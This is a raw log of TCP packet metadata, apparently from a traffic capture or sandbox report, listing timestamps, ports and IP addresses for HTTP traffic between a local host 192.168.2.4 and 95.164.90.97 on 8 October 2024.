Oct 8, 2024 02:45:31.064225912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064234972 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064265966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064276934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064317942 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064326048 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064358950 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064367056 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064387083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064399004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064420938 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064426899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064460039 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064470053 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064502954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064523935 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064536095 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064543009 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064570904 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064579964 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064734936 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064946890 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.064996004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.064996958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065025091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065037966 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065064907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065073967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065107107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065115929 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065140963 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065155983 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065190077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065191984 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065223932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065237999 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065273046 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065284967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065305948 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065323114 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065335989 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065346956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065370083 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065390110 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065406084 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065409899 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065438032 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065462112 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065470934 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065484047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065504074 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065521955 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065538883 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065546036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065587044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065587997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065622091 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065628052 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065653086 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065666914 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065686941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065697908 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065720081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065746069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065753937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065790892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065790892 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065808058 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065838099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065853119 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065871000 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065880060 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065905094 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065918922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065947056 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065953970 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.065982103 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.065992117 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066014051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066026926 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066047907 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066061974 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066091061 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066128969 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066160917 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066178083 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066190958 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066201925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066225052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066236019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066257954 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066272020 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066293001 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066304922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066334009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066344023 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066380024 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066411972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066458941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066461086 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066492081 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066505909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066523075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066538095 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066559076 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066580057 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066602945 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066612959 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066646099 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066659927 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066690922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066694021 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066728115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066740036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066756010 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066776037 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066795111 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066803932 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066837072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066850901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066869974 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066886902 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066903114 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066905022 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066935062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066951036 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.066968918 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.066973925 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067014933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067306995 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067357063 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067357063 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067409039 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067429066 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067447901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067488909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067519903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067538977 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067554951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067559958 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067604065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067605019 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067637920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067652941 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067672014 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067691088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067712069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067749023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067780972 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067799091 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067815065 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067828894 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067847013 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067867041 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067881107 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067883968 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067913055 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067926884 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067946911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.067965031 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.067982912 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068090916 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068123102 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068139076 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068162918 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068166018 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068198919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068212032 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068232059 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068248987 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068265915 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068269014 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068300009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068311930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068329096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.068347931 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.068367004 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.084147930 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.088980913 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290374041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290405035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290421009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290488005 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290503979 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290610075 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290623903 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290618896 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290620089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290620089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290620089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290642023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290657997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290719986 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290726900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290726900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290726900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290726900 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290760994 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290780067 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290796041 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290811062 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290826082 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.290837049 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290838003 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290868044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.290868044 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291013002 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291028023 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291043997 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291058064 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291068077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291068077 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291074991 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291090012 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291115046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291115046 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291250944 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291265011 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291280031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291295052 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291305065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291305065 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291307926 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291325092 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291328907 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291343927 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291354895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291354895 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291362047 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291377068 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291400909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291400909 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291620016 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291644096 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291659117 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291670084 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291672945 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291688919 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291697979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291697979 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291704893 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291718960 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291721106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291737080 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291745901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291745901 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291753054 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291766882 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291766882 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291781902 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291791916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291791916 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291798115 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291811943 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291814089 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291829109 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.291841030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291841030 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291867971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.291867971 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292123079 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292138100 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292174101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292174101 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292228937 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292244911 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292258024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292273045 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292274952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292289019 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292301893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292301893 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292304993 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292320967 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292329073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292329073 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292336941 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292349100 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292351961 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292368889 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292375088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292375088 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292383909 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292396069 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292421103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292421103 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292860031 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292875051 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292890072 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292902946 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292912006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292912006 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292920113 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292936087 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292942047 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292943001 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292952061 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292963982 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292968035 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292984009 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.292989969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292989969 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.292999029 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293009996 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293015003 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293030024 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293036938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293036938 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293046951 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293056965 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293062925 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293078899 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293082952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293082952 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293093920 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293103933 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293109894 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293126106 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293128967 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293129921 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293140888 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293157101 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293165922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293165922 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293190956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293190956 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293649912 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293667078 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293678999 CEST	80	51293	95.164.90.97	192.168.2.4
Oct 8, 2024 02:45:31.293703079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293703079 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.293737888 CEST	51293	80	192.168.2.4	95.164.90.97
Oct 8, 2024 02:45:31.306165934 CEST	51293	80	192.168.2.4	95.164.90.97
